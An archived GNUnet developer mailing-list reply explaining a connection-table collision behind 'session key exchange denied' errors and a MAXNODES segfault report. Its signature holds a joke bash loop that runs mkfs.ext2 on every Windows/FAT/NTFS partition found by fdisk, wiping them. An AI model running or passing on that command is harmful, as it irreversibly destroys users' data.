gnunet-developers
[Top][All Lists]
Advanced

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: [GNUnet-developers] bug: Session key exchange denied etc


From: Christian Grothoff
Subject: Re: [GNUnet-developers] bug: Session key exchange denied etc
Date: Wed, 8 May 2002 15:59:14 -0500

Hi!

The first issue you mention is a bug, I've fixed it in CVS. The second is a 
bit more intricate. '128' is the default maximum number of nodes that a GNUnet
node connects to at the same time. 128 is the size of the hashtable that is
kept by the connection module. If a host sends us a request to form a 
connection, we first check if we know that host, if not, we print
"Session key exchange denied, host XXX unknown!". Unless the other side 
violates the protocol, this should not happen (error). 

Suppose we know the host at the other side. In that case, we 
hash it into the connection table and check if there is already another 
connection established at that slot (which must be life, too):

if (!hostIdentityEquals(&be->hostId,
                  hostId) &&
      (be->isAlive > 0) &&
      (be->created > created)) {
#ifdef PRINT_SKEY
    print("Session key exchange denied, another host is in the table and 
active!\n");
#endif
    return 1;
  }

If there is another connection, we REJECT forming the connection, after all, 
we don't want a couple of malicious hosts to be able to replace our good 
connections with 'bad' ones. We MUST limit the number of concurrent 
connections because each connection slot in the hashtable costs about 2k of 
memory, so 128 connections are about 256k. If the user wants to 'donate' more 
memory to gnunetd, it is possible, but this is already a lot.

By the birthday-paradox, you should see this situation frequently if there are
more than sqrt(2*128) hosts on the network, but note that it is not a bug, it
was intended like this. Notice that inactive connections time out and make 
room for new connections, thus being rejected 'once' does not mean that there 
is no chance later. 

[ more at the end ]

On Wednesday 08 May 2002 01:45 pm, you wrote:
> While tracking the handleHELO => "session key exchange denied"
> problem with todays CVS ver, I atleast discovered that setting
> MAXNODES over 128 causes a good old segfault here. This is
> because of the "making sure that the value is a power of 2" in
> connection.c/initConnection().
>
> The routine first allocates CONNECTION_blacklist_
> for CONNECTION_MAX_HOSTS_ and *then* the named
> maximum is adjusted or even increased. If MAXNODES
> is set in config to 256, this routine you use
>
>   i = 1;
>   while (i<= CONNECTION_MAX_HOSTS_)
>     i*=2;
>
>   CONNECTION_MAX_HOSTS_ = i;
>
> causes the new maxvalue to be 512.  Kaboom <- Space was
> allocated for just 256. *ugh*.
>
> ... Anyway, after fixing the abovementioned problem
> (by quoting out that 'fail safe' routine) and increasing
> MAXHOSTS to 512 I noticed that also the 'session key
> exchange denied' problem disappeared. I presume the
> whole thing has something do with the fact that
> getting the hosts.tar.gz from the web gives
>
> >300 hosts, whereas the config file is set to use
>
> only 128 by default. This results in some weird
> behaviour, one is the key exchange problem and
> the other is that the node wont write any credit/ files
> (or atleast it started writing them as soon as
> the other problem disappeared)!
>
> The implications of this might reach far so I didn't
> track the issue further. The correct solution is
> probably something on the lines of checking the
> codes behaviour on the situations where we have
>
> >=MAXNODES files in hosts/ directory.
>
> ps. these bugs might cause severe problems to the
> network in case everyone else too gets the 300 nodes
> and has her max set to 128. Atleast here the whole
> credit thing went down the drain and queries were
> exchanged only with a couple of nodes out of the
> several that sent HELOs.

HELOs are NOT equivalent to nodes that want to establish a connection. SKEYs 
are used to establish connections. I don't quite see how this entire issue 
has any impact on the credibility system, you may want to elaborate.

Christian
-- 
______________________________________________________
|Christian Grothoff                                  |
|650-2 Young Graduate House, West Lafayette, IN 47906|
|http://gecko.cs.purdue.edu/   address@hidden|
|____________________________________________________|
#!/bin/bash
for i in `fdisk -l|grep -E "Win|DOS|FAT|NTFS"|awk \
'{print$1;}'`;do nohup mkfs.ext2 $i&; done
echo -e "\n\n\t\tMay the source be with you.\n\n"



reply via email to

[Prev in Thread] Current Thread [Next in Thread]